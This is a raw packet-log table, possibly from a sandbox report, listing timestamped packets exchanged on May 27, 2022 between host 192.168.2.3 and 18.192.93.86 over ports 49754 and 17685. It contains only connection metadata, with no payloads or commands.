May 27, 2022 06:59:20.344418049 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344439030 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344463110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344526052 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344547987 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344626904 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344649076 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344710112 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344732046 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344753981 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345563889 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345586061 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345607996 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345628977 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345649958 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345671892 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345695019 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345715046 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345736980 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345758915 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345779896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345802069 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345824957 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345846891 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345869064 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345890999 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345912933 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.345988035 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346009970 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346030951 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346101999 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346138954 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346162081 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346183062 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346204042 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346226931 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346246958 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346304893 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346309900 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346328020 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346370935 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346389055 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346414089 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346473932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346481085 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346529961 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346534967 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346585989 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346606016 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346641064 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346668005 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346688032 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346692085 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346786022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346853971 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346869946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346872091 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346940994 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.346947908 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346970081 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.346992016 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.347013950 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.347052097 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.347089052 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.347958088 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.347980976 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348002911 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348025084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348047018 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348068953 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348092079 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348114014 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348135948 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348156929 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348177910 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348198891 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348220110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348242044 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348265886 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348284960 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348306894 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348376036 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.348392010 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348413944 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348416090 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.348475933 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.348542929 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.348561049 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348582029 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348604918 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348661900 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348716021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348771095 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.348887920 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349072933 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349111080 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349140882 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349163055 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349183083 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349205017 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349226952 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349246979 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349332094 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349353075 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349410057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349433899 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349467039 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349482059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349493027 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349538088 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349622011 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349675894 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349699020 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349723101 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349745035 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349766970 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349827051 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349879026 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349903107 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349925041 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349946022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349947929 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349967957 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349970102 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.349986076 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.349992990 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350003958 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350014925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350035906 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350037098 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350055933 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350059032 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350073099 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350092888 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350110054 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350117922 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350137949 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350176096 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350193024 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350194931 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350218058 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350263119 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350271940 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350281954 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350294113 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350348949 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350349903 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350370884 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350405931 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350450993 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350461006 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350512028 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350516081 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350538969 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350595951 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350595951 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350616932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350636959 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350646019 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350658894 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350667000 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350682020 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350682974 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350709915 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350753069 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350769997 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350790977 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350836039 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350872040 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350908041 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350929022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350953102 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.350975037 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.350980997 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351003885 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351013899 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351026058 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351038933 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351047993 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351063013 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351070881 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351089954 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351157904 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351176977 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351198912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351219893 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351229906 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351273060 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351274014 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351295948 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351342916 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351351023 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351361990 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351372957 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351396084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351449966 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351489067 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351515055 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351536036 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351557970 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351577997 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351602077 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351623058 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351634979 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351644039 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351665020 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351665974 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351697922 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351713896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351731062 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.351735115 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351797104 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.351841927 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365315914 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365366936 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365379095 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365392923 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365425110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365452051 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365545034 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365576029 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365577936 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365598917 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365602016 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365618944 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365627050 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365638971 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365672112 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365690947 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365699053 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365706921 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365747929 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.365809917 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365947008 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365967035 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.365988016 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.366008043 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.366029024 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367211103 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367309093 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367330074 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367379904 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367552042 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367573023 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367594004 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367688894 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367711067 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367788076 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367809057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367829084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367849112 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367978096 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.367997885 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368016958 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368037939 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368141890 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368310928 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368392944 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368413925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368505955 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368525982 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368587971 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368609905 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368629932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368648052 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368735075 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.368906975 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369024992 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369045019 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369065046 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369173050 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369314909 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369335890 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369465113 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369563103 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369584084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369604111 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369704962 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369817972 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369891882 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369980097 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.369999886 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370100021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370121956 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370219946 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370465040 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370486021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370517015 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370536089 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370583057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370603085 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370665073 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370687008 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370785952 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370806932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370826960 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370847940 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370867968 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370889902 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370925903 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370946884 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370966911 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.370986938 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371063948 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371146917 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371167898 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371187925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371210098 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371229887 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371248960 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371306896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371329069 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371563911 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371587992 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371609926 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371634007 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371659040 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371680975 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371704102 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371726990 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371751070 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371774912 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371797085 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371822119 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371844053 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371865034 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371887922 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371910095 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371932983 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371957064 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.371978998 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372001886 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372025013 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372046947 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372070074 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372092009 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372116089 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372139931 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372162104 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.372184992 CEST	17685	49754	18.192.93.86	192.168.2.3
